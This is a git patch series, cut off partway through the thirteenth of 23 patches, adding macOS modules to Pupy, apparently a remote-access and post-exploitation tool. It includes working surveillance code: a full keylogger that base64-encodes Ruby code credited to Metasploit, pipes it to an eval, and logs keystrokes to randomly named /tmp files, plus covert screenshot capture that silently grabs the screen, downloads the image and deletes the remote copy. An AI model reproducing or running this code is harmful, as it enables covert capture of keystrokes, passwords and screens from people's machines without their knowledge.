From 467c9b1274e4c9d7f0f9c3e9376a05d70e6f84b8 Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Wed, 8 Feb 2017 11:55:29 +0100 Subject: [PATCH 01/23] OSX - screenshot --- pupy/modules/screenshot.py | 67 +++++++++++++++++++++++--------------- 1 file changed, 41 insertions(+), 26 deletions(-) diff --git a/pupy/modules/screenshot.py b/pupy/modules/screenshot.py index a959347c..27d38db4 100644 --- a/pupy/modules/screenshot.py +++ b/pupy/modules/screenshot.py @@ -24,6 +24,7 @@ import datetime from zlib import compress, crc32 import struct import subprocess +from rpyc.utils.classic import download __class_name__="Screenshoter" @@ -37,7 +38,7 @@ def pil_save(filename, pixels, width, height): logging.info('Screenshot saved to %s'%filename) -@config(cat="gather", compat="windows") +@config(cat="gather", compat=["windows", "darwin"]) class Screenshoter(PupyModule): """ take a screenshot :) """ @@ -48,29 +49,43 @@ class Screenshoter(PupyModule): self.arg_parser.add_argument('-v', '--view', action='store_true', help='directly open the default image viewer on the screenshot for preview') def run(self, args): - try: - os.makedirs(os.path.join("data","screenshots")) - except Exception: - pass - self.client.load_package("pupwinutils.screenshot") - screens=None - if args.screen is None: - screens=self.client.conn.modules['pupwinutils.screenshot'].enum_display_monitors(oneshot=True) - else: - screens=self.client.conn.modules['pupwinutils.screenshot'].enum_display_monitors() - if args.enum: - res="" - for i, screen in enumerate(screens): - res+="{:<3}: {}\n".format(i,screen) - return res - if args.screen is None: - args.screen=0 - selected_screen=screens[args.screen] - screenshot_pixels=self.client.conn.modules["pupwinutils.screenshot"].get_pixels(selected_screen) - filepath=os.path.join("data","screenshots","scr_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".jpg") - pil_save(filepath, screenshot_pixels, selected_screen["width"], selected_screen["height"]) - if args.view: - subprocess.Popen([self.client.pupsrv.config.get("default_viewers", "image_viewer"),filepath]) - self.success("screenshot saved to %s"%filepath) - + if self.client.is_windows(): + try: + os.makedirs(os.path.join("data","screenshots")) + except Exception: + pass + self.client.load_package("pupwinutils.screenshot") + screens=None + if args.screen is None: + screens=self.client.conn.modules['pupwinutils.screenshot'].enum_display_monitors(oneshot=True) + else: + screens=self.client.conn.modules['pupwinutils.screenshot'].enum_display_monitors() + if args.enum: + res="" + for i, screen in enumerate(screens): + res+="{:<3}: {}\n".format(i,screen) + return res + if args.screen is None: + args.screen=0 + selected_screen=screens[args.screen] + screenshot_pixels=self.client.conn.modules["pupwinutils.screenshot"].get_pixels(selected_screen) + filepath=os.path.join("data","screenshots","scr_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".jpg") + pil_save(filepath, screenshot_pixels, selected_screen["width"], selected_screen["height"]) + if args.view: + subprocess.Popen([self.client.pupsrv.config.get("default_viewers", "image_viewer"),filepath]) + self.success("screenshot saved to %s"%filepath) + # for mac os x + elif self.client.is_darwin(): + self.client.load_package("screenshot") + ok, message = self.client.conn.modules['screenshot'].screenshot() + if ok: + self.success('screenshot stored on the remote host in %s' % message) + self.success('downloading file') + filepath = os.path.join("data","screenshots","scr_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".png") + download(self.client.conn, message, filepath) + self.success('removing remote file') + self.client.conn.modules.os.remove(message) + self.success("screenshot saved to %s" % filepath) + else: + self.error(message) \ No newline at end of file From 77cbfd323ba8ab9e3b9b28f18c6e7fd38a2f5020 Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Wed, 8 Feb 2017 11:55:49 +0100 Subject: [PATCH 02/23] OSX - screenshot remote function --- pupy/packages/darwin/screenshot.py | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) create mode 100644 pupy/packages/darwin/screenshot.py diff --git a/pupy/packages/darwin/screenshot.py b/pupy/packages/darwin/screenshot.py new file mode 100644 index 00000000..377aa610 --- /dev/null +++ b/pupy/packages/darwin/screenshot.py @@ -0,0 +1,22 @@ +import subprocess +import string +import random +import os + +def screenshot(): + randname=''.join([random.choice(string.ascii_lowercase) for i in range(0,random.randint(6,12))]) + screenpath = '/tmp/{name}.png'.format(name=randname) + + path_to_bin = '/usr/sbin/screencapture' + cmd = '{pathToBin} -x -C {screen_path}'.format(pathToBin=path_to_bin, screen_path=screenpath) + + if os.path.exists(path_to_bin): + process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) + # wait the end of the command + process.communicate() + if os.path.exists(screenpath): + return True, screenpath + else: + return False, 'screenshot failed' + else: + return False, 'binary %s not found' % path_to_bin \ No newline at end of file From 73c196d1fc7cca9ee4b24f5c9ad9bd669e2a1595 Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Wed, 8 Feb 2017 15:53:40 +0100 Subject: [PATCH 03/23] MAC OS - Keylogger remote file --- pupy/packages/darwin/keylogger.py | 192 ++++++++++++++++++++++++++++++ 1 file changed, 192 insertions(+) create mode 100644 pupy/packages/darwin/keylogger.py diff --git a/pupy/packages/darwin/keylogger.py b/pupy/packages/darwin/keylogger.py new file mode 100644 index 00000000..25966285 --- /dev/null +++ b/pupy/packages/darwin/keylogger.py @@ -0,0 +1,192 @@ +import os +import time +import base64 +import subprocess +import string +import random + +pid = int() +logFile = '' + +# ruby code from metasploit +# https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/capture/keylog_recorder.rb +def get_ruby_code(): + return ''' + require 'thread' + require 'dl' + require 'dl/import' + Importer = if defined?(DL::Importer) then DL::Importer else DL::Importable end + def ruby_1_9_or_higher? + RUBY_VERSION.to_f >= 1.9 + end + def malloc(size) + if ruby_1_9_or_higher? + DL::CPtr.malloc(size) + else + DL::malloc(size) + end + end + if not ruby_1_9_or_higher? + module DL + module Importable + def method_missing(meth, *args, &block) + str = meth.to_s + lower = str[0,1].downcase + str[1..-1] + if self.respond_to? lower + self.send lower, *args + else + super + end + end + end + end + end + SM_KCHR_CACHE = 38 + SM_CURRENT_SCRIPT = -2 + MAX_APP_NAME = 80 + module Carbon + extend Importer + dlload '/System/Library/Frameworks/Carbon.framework/Carbon' + extern 'unsigned long CopyProcessName(const ProcessSerialNumber *, void *)' + extern 'void GetFrontProcess(ProcessSerialNumber *)' + extern 'void GetKeys(void *)' + extern 'unsigned char *GetScriptVariable(int, int)' + extern 'unsigned char KeyTranslate(void *, int, void *)' + extern 'unsigned char CFStringGetCString(void *, void *, int, int)' + extern 'int CFStringGetLength(void *)' + end + psn = malloc(16) + name = malloc(16) + name_cstr = malloc(MAX_APP_NAME) + keymap = malloc(16) + state = malloc(8) + itv_start = Time.now.to_i + prev_down = Hash.new(false) + lastWindow = "" + while (true) do + Carbon.GetFrontProcess(psn.ref) + Carbon.CopyProcessName(psn.ref, name.ref) + Carbon.GetKeys(keymap) + str_len = Carbon.CFStringGetLength(name) + copied = Carbon.CFStringGetCString(name, name_cstr, MAX_APP_NAME, 0x08000100) > 0 + app_name = if copied then name_cstr.to_s else 'Unknown' end + bytes = keymap.to_str + cap_flag = false + ascii = 0 + ctrlchar = "" + (0...128).each do |k| + if ((bytes[k>>3].ord >> (k&7)) & 1 > 0) + if not prev_down[k] + case k + when 36 + ctrlchar = "[enter]" + when 48 + ctrlchar = "[tab]" + when 49 + ctrlchar = " " + when 51 + ctrlchar = "[delete]" + when 53 + ctrlchar = "[esc]" + when 55 + ctrlchar = "[cmd]" + when 56 + ctrlchar = "[shift]" + when 57 + ctrlchar = "[caps]" + when 58 + ctrlchar = "[option]" + when 59 + ctrlchar = "[ctrl]" + when 63 + ctrlchar = "[fn]" + else + ctrlchar = "" + end + if ctrlchar == "" and ascii == 0 + kchr = Carbon.GetScriptVariable(SM_KCHR_CACHE, SM_CURRENT_SCRIPT) + curr_ascii = Carbon.KeyTranslate(kchr, k, state) + curr_ascii = curr_ascii >> 16 if curr_ascii < 1 + prev_down[k] = true + if curr_ascii == 0 + cap_flag = true + else + ascii = curr_ascii + end + elsif ctrlchar != "" + prev_down[k] = true + end + end + else + prev_down[k] = false + end + end + if ascii != 0 or ctrlchar != "" + if app_name != lastWindow + puts "\n\n[#{app_name}] - [#{Time.now}]\n" + lastWindow = app_name + end + if ctrlchar != "" + print "#{ctrlchar}" + elsif ascii > 32 and ascii < 127 + c = if cap_flag then ascii.chr.upcase else ascii.chr end + print "#{c}" + else + print "[#{ascii}]" + end + $stdout.flush + end + Kernel.sleep(0.01) + end''' + +def keylogger_start(): + global pid + global logFile + + if logFile: + if os.path.exists(logFile): + return 'running' + + base64_ruby_code = base64.b64encode(get_ruby_code()) + + randname=''.join([random.choice(string.ascii_lowercase) for i in range(0,random.randint(6,12))]) + logFile = '/tmp/{name}'.format(name=randname) + cmd = 'echo "require \'base64\';eval(Base64.decode64(\'%s\'))" | ruby > %s &' % (base64_ruby_code, logFile) + os.popen(cmd) + time.sleep(1) + + # get process id + try: + pid = os.popen('ps aux | grep " ruby" | grep -v grep').read().split()[1] + except: + pass + + print logFile + print pid + return True + +def keylogger_stop(): + global logFile + + # remove log file + if os.path.exists(logFile): + # kill keylogger process + cmd = 'kill %s' % str(pid) + subprocess.Popen(cmd.split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) + + os.remove(logFile) + logFile = '' + return True + else: + return False + +def keylogger_dump(): + if not os.path.exists(logFile): + return None + + buffer = open(logFile, 'r').read() + + # clean file + file = open(logFile, 'w').write('') + + return buffer \ No newline at end of file From e88bebf85dc6631fbd549264ab35b4b5a804f99a Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Wed, 8 Feb 2017 15:54:16 +0100 Subject: [PATCH 04/23] MAC OS - keylogger --- pupy/modules/keylogger.py | 24 +++++++++++++++++++----- 1 file changed, 19 insertions(+), 5 deletions(-) diff --git a/pupy/modules/keylogger.py b/pupy/modules/keylogger.py index 62e80d48..ebbff788 100644 --- a/pupy/modules/keylogger.py +++ b/pupy/modules/keylogger.py @@ -14,7 +14,7 @@ from pupylib.utils.rpyc_utils import redirected_stdio __class_name__="KeyloggerModule" -@config(cat="gather", compat=["linux", "windows"]) +@config(cat="gather", compat=["linux", "darwin", "windows"]) class KeyloggerModule(PupyModule): """ A keylogger to monitor all keyboards interaction including the clipboard :-) @@ -43,8 +43,8 @@ class KeyloggerModule(PupyModule): self.error("the keylogger is already started") else: self.success("keylogger started !") - # not tested on android - else: + + elif self.client.is_linux(): with redirected_stdio(self.client.conn): #to see the output exception in case of error r = self.client.conn.modules["keylogger"].keylogger_start() if r == 'no_x11': @@ -54,6 +54,16 @@ class KeyloggerModule(PupyModule): else: self.success("keylogger started !") + # for Mac OS + elif self.client.is_darwin(): + r = self.client.conn.modules["keylogger"].keylogger_start() + if r == 'running': + self.error("the keylogger is already started") + elif not r: + self.error("the keylogger cannot be launched") + else: + self.success("keylogger started !") + elif args.action=="dump": try: os.makedirs(os.path.join("data","keystrokes")) @@ -62,8 +72,10 @@ class KeyloggerModule(PupyModule): if self.client.is_windows(): data=self.client.conn.modules["pupwinutils.keylogger"].keylogger_dump() - else: + elif self.client.is_linux(): data=self.client.conn.modules["keylogger"].keylogger_dump() + elif self.client.is_darwin(): + data=self.client.conn.modules["keylogger"].keylogger_dump() if data is None: self.error("keylogger not started") @@ -79,7 +91,9 @@ class KeyloggerModule(PupyModule): elif args.action=="stop": if self.client.is_windows(): stop = self.client.conn.modules["pupwinutils.keylogger"].keylogger_stop() - else: + elif self.client.is_linux(): + stop = self.client.conn.modules["keylogger"].keylogger_stop() + elif self.client.is_darwin(): stop = self.client.conn.modules["keylogger"].keylogger_stop() if stop: From 634460d4b3852d6f253cc66fdb85e2e93b1f249a Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Wed, 8 Feb 2017 16:57:53 +0100 Subject: [PATCH 05/23] MAC OS - new symbolic link for ptyshell --- pupy/packages/darwin/ptyshell.py | 1 + 1 file changed, 1 insertion(+) create mode 120000 pupy/packages/darwin/ptyshell.py diff --git a/pupy/packages/darwin/ptyshell.py b/pupy/packages/darwin/ptyshell.py new file mode 120000 index 00000000..01b6fd58 --- /dev/null +++ b/pupy/packages/darwin/ptyshell.py @@ -0,0 +1 @@ +../linux/all/ptyshell.py \ No newline at end of file From 6ba0f0a6588aaac1f53ee9b8c0fe511f4c339327 Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Thu, 9 Feb 2017 14:15:44 +0100 Subject: [PATCH 06/23] remove darwin screenshot --- pupy/packages/darwin/screenshot.py | 22 ---------------------- 1 file changed, 22 deletions(-) delete mode 100644 pupy/packages/darwin/screenshot.py diff --git a/pupy/packages/darwin/screenshot.py b/pupy/packages/darwin/screenshot.py deleted file mode 100644 index 377aa610..00000000 --- a/pupy/packages/darwin/screenshot.py +++ /dev/null @@ -1,22 +0,0 @@ -import subprocess -import string -import random -import os - -def screenshot(): - randname=''.join([random.choice(string.ascii_lowercase) for i in range(0,random.randint(6,12))]) - screenpath = '/tmp/{name}.png'.format(name=randname) - - path_to_bin = '/usr/sbin/screencapture' - cmd = '{pathToBin} -x -C {screen_path}'.format(pathToBin=path_to_bin, screen_path=screenpath) - - if os.path.exists(path_to_bin): - process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) - # wait the end of the command - process.communicate() - if os.path.exists(screenpath): - return True, screenpath - else: - return False, 'screenshot failed' - else: - return False, 'binary %s not found' % path_to_bin \ No newline at end of file From a91a0e99373681b97a69524607e0341c90a0ce6d Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Thu, 9 Feb 2017 14:16:12 +0100 Subject: [PATCH 07/23] screenshot using mss --- pupy/modules/screenshot.py | 134 ++++++++++++++++++------------------- 1 file changed, 65 insertions(+), 69 deletions(-) diff --git a/pupy/modules/screenshot.py b/pupy/modules/screenshot.py index 27d38db4..87a3eca5 100644 --- a/pupy/modules/screenshot.py +++ b/pupy/modules/screenshot.py @@ -1,47 +1,52 @@ -# -*- coding: UTF8 -*- +# -*- coding: utf-8 -*- # -------------------------------------------------------------- -# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) -# All rights reserved. -# -# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: -# -# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. -# -# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. -# -# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. -# -# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, +# this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors +# may be used to endorse or promote products derived from this software without +# specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE +# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +# POSSIBILITY OF SUCH DAMAGE # -------------------------------------------------------------- from pupylib.PupyModule import * -import os -import os.path -import textwrap -import logging +from os import path +from pupylib.utils.rpyc_utils import redirected_stdio + +import time import datetime -from zlib import compress, crc32 -import struct import subprocess -from rpyc.utils.classic import download -__class_name__="Screenshoter" - -def pil_save(filename, pixels, width, height): - from PIL import Image, ImageFile - buffer_len = (width * 3 + 3) & -4 - img = Image.frombuffer('RGB', (width, height), pixels, 'raw', 'BGR', buffer_len, 1) - ImageFile.MAXBLOCK = width * height - img=img.transpose(Image.FLIP_TOP_BOTTOM) - img.save(filename, quality=95, optimize=True, progressive=True) - logging.info('Screenshot saved to %s'%filename) +__class_name__="screenshoter" -@config(cat="gather", compat=["windows", "darwin"]) -class Screenshoter(PupyModule): +@config(cat="gather") +class screenshoter(PupyModule): """ take a screenshot :) """ + dependencies = ['mss', 'screenshot'] + def init_argparse(self): self.arg_parser = PupyArgumentParser(prog='screenshot', description=self.__doc__) self.arg_parser.add_argument('-e', '--enum', action='store_true', help='enumerate screen') @@ -49,43 +54,34 @@ class Screenshoter(PupyModule): self.arg_parser.add_argument('-v', '--view', action='store_true', help='directly open the default image viewer on the screenshot for preview') def run(self, args): - if self.client.is_windows(): - try: - os.makedirs(os.path.join("data","screenshots")) - except Exception: - pass - self.client.load_package("pupwinutils.screenshot") - screens=None - if args.screen is None: - screens=self.client.conn.modules['pupwinutils.screenshot'].enum_display_monitors(oneshot=True) - else: - screens=self.client.conn.modules['pupwinutils.screenshot'].enum_display_monitors() + with redirected_stdio(self.client.conn): + rscreenshot = self.client.conn.modules['screenshot'] if args.enum: - res="" - for i, screen in enumerate(screens): - res+="{:<3}: {}\n".format(i,screen) - return res - if args.screen is None: - args.screen=0 - selected_screen=screens[args.screen] - screenshot_pixels=self.client.conn.modules["pupwinutils.screenshot"].get_pixels(selected_screen) - filepath=os.path.join("data","screenshots","scr_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".jpg") - pil_save(filepath, screenshot_pixels, selected_screen["width"], selected_screen["height"]) - if args.view: - subprocess.Popen([self.client.pupsrv.config.get("default_viewers", "image_viewer"),filepath]) - self.success("screenshot saved to %s"%filepath) + self.rawlog('{:>2} {:>9} {:>9}\n'.format('IDX', 'SIZE', 'LEFT')) + for i, screen in enumerate(rscreenshot.screens()): + if not (screen['width'] and screen['height']): + continue - # for mac os x - elif self.client.is_darwin(): - self.client.load_package("screenshot") - ok, message = self.client.conn.modules['screenshot'].screenshot() - if ok: - self.success('screenshot stored on the remote host in %s' % message) - self.success('downloading file') - filepath = os.path.join("data","screenshots","scr_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".png") - download(self.client.conn, message, filepath) - self.success('removing remote file') - self.client.conn.modules.os.remove(message) - self.success("screenshot saved to %s" % filepath) + self.rawlog('{:>2}: {:>9} {:>9}\n'.format( + i, + '{}x{}'.format(screen['width'], screen['height']), + '({}x{})'.format(screen['top'], screen['left']))) + return + + screenshots, error = rscreenshot.screenshot(args.screen) + if not screenshots: + self.error(error) else: - self.error(message) \ No newline at end of file + self.success('number of monitor detected: %s' % str(len(screenshots))) + + for screenshot in screenshots: + filepath = path.join("data","screenshots","scr_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".png") + with open(filepath, 'w') as out: + out.write(screenshot) + # sleep used to be sure the file name will be different between 2 differents screenshots + time.sleep(1) + self.success(filepath) + + # if args.view: + # viewer = config.get('default_viewers', 'image_viewer') + # subprocess.Popen([viewer, output]) From ef29c7e25f03f717a6193ed27b45ad4b1ffb58f4 Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Thu, 9 Feb 2017 14:16:58 +0100 Subject: [PATCH 08/23] screenshot using mss - remote file --- pupy/packages/all/screenshot.py | 69 +++++++++++++++++++++++++++++++++ 1 file changed, 69 insertions(+) create mode 100644 pupy/packages/all/screenshot.py diff --git a/pupy/packages/all/screenshot.py b/pupy/packages/all/screenshot.py new file mode 100644 index 00000000..f536c878 --- /dev/null +++ b/pupy/packages/all/screenshot.py @@ -0,0 +1,69 @@ +# -*- coding: utf-8 -*- +import mss +import struct + +from zlib import compress, crc32 + +def _to_png(data, width, height): + + # From MSS + line = width * 3 + png_filter = struct.pack('>B', 0) + scanlines = b''.join( + [png_filter + data[y * line:y * line + line] for y in range(height)] + ) + magic = struct.pack('>8B', 137, 80, 78, 71, 13, 10, 26, 10) + + # Header: size, marker, data, CRC32 + ihdr = [b'', b'IHDR', b'', b''] + ihdr[2] = struct.pack('>2I5B', width, height, 8, 2, 0, 0, 0) + ihdr[3] = struct.pack('>I', crc32(b''.join(ihdr[1:3])) & 0xffffffff) + ihdr[0] = struct.pack('>I', len(ihdr[2])) + + # Data: size, marker, data, CRC32 + idat = [b'', b'IDAT', compress(scanlines), b''] + idat[3] = struct.pack('>I', crc32(b''.join(idat[1:3])) & 0xffffffff) + idat[0] = struct.pack('>I', len(idat[2])) + + # Footer: size, marker, None, CRC32 + iend = [b'', b'IEND', b'', b''] + iend[3] = struct.pack('>I', crc32(iend[1]) & 0xffffffff) + iend[0] = struct.pack('>I', len(iend[2])) + + return b''.join([ + magic, + b''.join(ihdr), + b''.join(idat), + b''.join(iend) + ]) + +def screens(): + screenshoter = mss.mss() + monitors = screenshoter.enum_display_monitors() + return monitors[1:] if len(monitors) > 1 else monitors + +def screenshot(screen=None): + screenshoter = mss.mss() + screenshots = [] + + monitors = screenshoter.enum_display_monitors() + del monitors[0] + + if len(monitors) == 0: + return None + + if screen: + if screen < len(monitors): + return None, 'the screen id does not exist' + else: + monitors = [monitors[screen]] + + for monitor in monitors: + screenshots.append( + _to_png( + screenshoter.get_pixels(monitor), + monitor['width'], monitor['height'] + ) + ) + + return screenshots, None From 8ea1911b8dea48946fe8ee543dd548ea2ecaeaf9 Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Thu, 9 Feb 2017 14:19:01 +0100 Subject: [PATCH 09/23] adding mss to requirements file --- requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 56f98558..ff349728 100644 --- a/requirements.txt +++ b/requirements.txt @@ -2,9 +2,9 @@ rpyc pycrypto pefile pyyaml -image rsa netaddr ecdsa==0.13 paramiko==2.0.2 netifaces +mss \ No newline at end of file From 5b47b38db8bb9d274227394d9dd605ecf4e64098 Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Thu, 9 Feb 2017 15:31:31 +0100 Subject: [PATCH 10/23] drives function for mac os --- pupy/modules/drives.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/pupy/modules/drives.py b/pupy/modules/drives.py index 57ab0231..0771e7aa 100644 --- a/pupy/modules/drives.py +++ b/pupy/modules/drives.py @@ -1,10 +1,11 @@ # -*- coding: utf-8 -*- from pupylib.PupyModule import * from pupylib.utils.term import colorize +from modules.lib.utils.shell_exec import shell_exec __class_name__="Drives" -@config(compat=[ 'linux', 'windows' ], category='admin') +@config(category='admin') class Drives(PupyModule): """ List valid drives in the system """ @@ -158,3 +159,6 @@ class Drives(PupyModule): output.append('') self.stdout.write('\n'.join(output)) + + elif self.client.is_darwin(): + self.log(shell_exec(self.client, 'df -H')) \ No newline at end of file From f2113a24e7c22e87412bb64cbf7bef824e7341c2 Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Thu, 9 Feb 2017 15:31:45 +0100 Subject: [PATCH 11/23] msgbox for mac os --- pupy/modules/msgbox.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/pupy/modules/msgbox.py b/pupy/modules/msgbox.py index be0ee13d..b63af3b2 100644 --- a/pupy/modules/msgbox.py +++ b/pupy/modules/msgbox.py @@ -3,7 +3,7 @@ from pupylib.PupyModule import * __class_name__="MsgBoxPopup" -@config(compat=["windows", "linux"], cat="troll", tags=["message","popup"]) +@config(cat="troll", tags=["message","popup"]) class MsgBoxPopup(PupyModule): """ Pop up a custom message box """ dependencies = { @@ -19,7 +19,10 @@ class MsgBoxPopup(PupyModule): def run(self, args): if self.client.is_windows(): self.client.conn.modules['pupwinutils.msgbox'].MessageBox(args.text, args.title) - else: + elif self.client.is_linux(): self.client.conn.modules['notify'].notification(args.text, args.title) + elif self.client.is_darwin(): + cmd = 'osascript -e \'tell app "Finder" to display dialog "%s"\'' % args.text + self.client.conn.modules.os.popen(cmd) self.log("message box popped !") From 4b998ad735be09709bc624f0ad4878a3dd0320d7 Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Thu, 9 Feb 2017 15:32:19 +0100 Subject: [PATCH 12/23] remove debug lines on screenshot --- pupy/modules/screenshot.py | 56 ++++++++++++++++++-------------------- 1 file changed, 27 insertions(+), 29 deletions(-) diff --git a/pupy/modules/screenshot.py b/pupy/modules/screenshot.py index 87a3eca5..1a3055e2 100644 --- a/pupy/modules/screenshot.py +++ b/pupy/modules/screenshot.py @@ -32,7 +32,6 @@ from pupylib.PupyModule import * from os import path -from pupylib.utils.rpyc_utils import redirected_stdio import time import datetime @@ -54,34 +53,33 @@ class screenshoter(PupyModule): self.arg_parser.add_argument('-v', '--view', action='store_true', help='directly open the default image viewer on the screenshot for preview') def run(self, args): - with redirected_stdio(self.client.conn): - rscreenshot = self.client.conn.modules['screenshot'] - if args.enum: - self.rawlog('{:>2} {:>9} {:>9}\n'.format('IDX', 'SIZE', 'LEFT')) - for i, screen in enumerate(rscreenshot.screens()): - if not (screen['width'] and screen['height']): - continue + rscreenshot = self.client.conn.modules['screenshot'] + if args.enum: + self.rawlog('{:>2} {:>9} {:>9}\n'.format('IDX', 'SIZE', 'LEFT')) + for i, screen in enumerate(rscreenshot.screens()): + if not (screen['width'] and screen['height']): + continue - self.rawlog('{:>2}: {:>9} {:>9}\n'.format( - i, - '{}x{}'.format(screen['width'], screen['height']), - '({}x{})'.format(screen['top'], screen['left']))) - return + self.rawlog('{:>2}: {:>9} {:>9}\n'.format( + i, + '{}x{}'.format(screen['width'], screen['height']), + '({}x{})'.format(screen['top'], screen['left']))) + return - screenshots, error = rscreenshot.screenshot(args.screen) - if not screenshots: - self.error(error) - else: - self.success('number of monitor detected: %s' % str(len(screenshots))) - - for screenshot in screenshots: - filepath = path.join("data","screenshots","scr_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".png") - with open(filepath, 'w') as out: - out.write(screenshot) - # sleep used to be sure the file name will be different between 2 differents screenshots - time.sleep(1) - self.success(filepath) + screenshots, error = rscreenshot.screenshot(args.screen) + if not screenshots: + self.error(error) + else: + self.success('number of monitor detected: %s' % str(len(screenshots))) + + for screenshot in screenshots: + filepath = path.join("data","screenshots","scr_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".png") + with open(filepath, 'w') as out: + out.write(screenshot) + # sleep used to be sure the file name will be different between 2 differents screenshots + time.sleep(1) + self.success(filepath) - # if args.view: - # viewer = config.get('default_viewers', 'image_viewer') - # subprocess.Popen([viewer, output]) + # if args.view: + # viewer = config.get('default_viewers', 'image_viewer') + # subprocess.Popen([viewer, output]) From 1c803bb5c119e569ed985a70dddbc309be8b81a9 Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Thu, 9 Feb 2017 15:32:54 +0100 Subject: [PATCH 13/23] hide functionality available only for windows hosts --- pupy/modules/shell_exec.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/pupy/modules/shell_exec.py b/pupy/modules/shell_exec.py index 2ffcd3e4..b966dabb 100644 --- a/pupy/modules/shell_exec.py +++ b/pupy/modules/shell_exec.py @@ -10,12 +10,14 @@ __class_name__="ShellExec" @config(cat="admin") class ShellExec(PupyModule): """ execute shell commands on a remote system """ + def init_argparse(self): self.arg_parser = PupyArgumentParser(prog='shell_exec', description=self.__doc__) self.arg_parser.add_argument('-s', '--shell', help="default to /bin/sh on linux or cmd.exe on windows") self.arg_parser.add_argument('argument', help='use unix like syntax and put simple quotes if there is multiple arguments') self.arg_parser.add_argument('-H', '--hide', action='store_true', help='launch process on background (only for windows)') self.arg_parser.add_argument('-log', help='Save log to file (when not background process)') + def run(self, args): if not args.hide: log = shell_exec(self.client, args.argument, shell=args.shell) @@ -23,7 +25,7 @@ class ShellExec(PupyModule): if args.log: with open(args.log, 'wb') as output: output.write(log) - else: + elif args.hide and self.client.is_windows(): try: self.client.load_package("psutil") self.client.load_package("pupwinutils.processes") @@ -32,3 +34,5 @@ class ShellExec(PupyModule): self.success("Process created with pid %s" % p.pid) except Exception, e: self.error("Error creating the process: %s" % e) + else: + 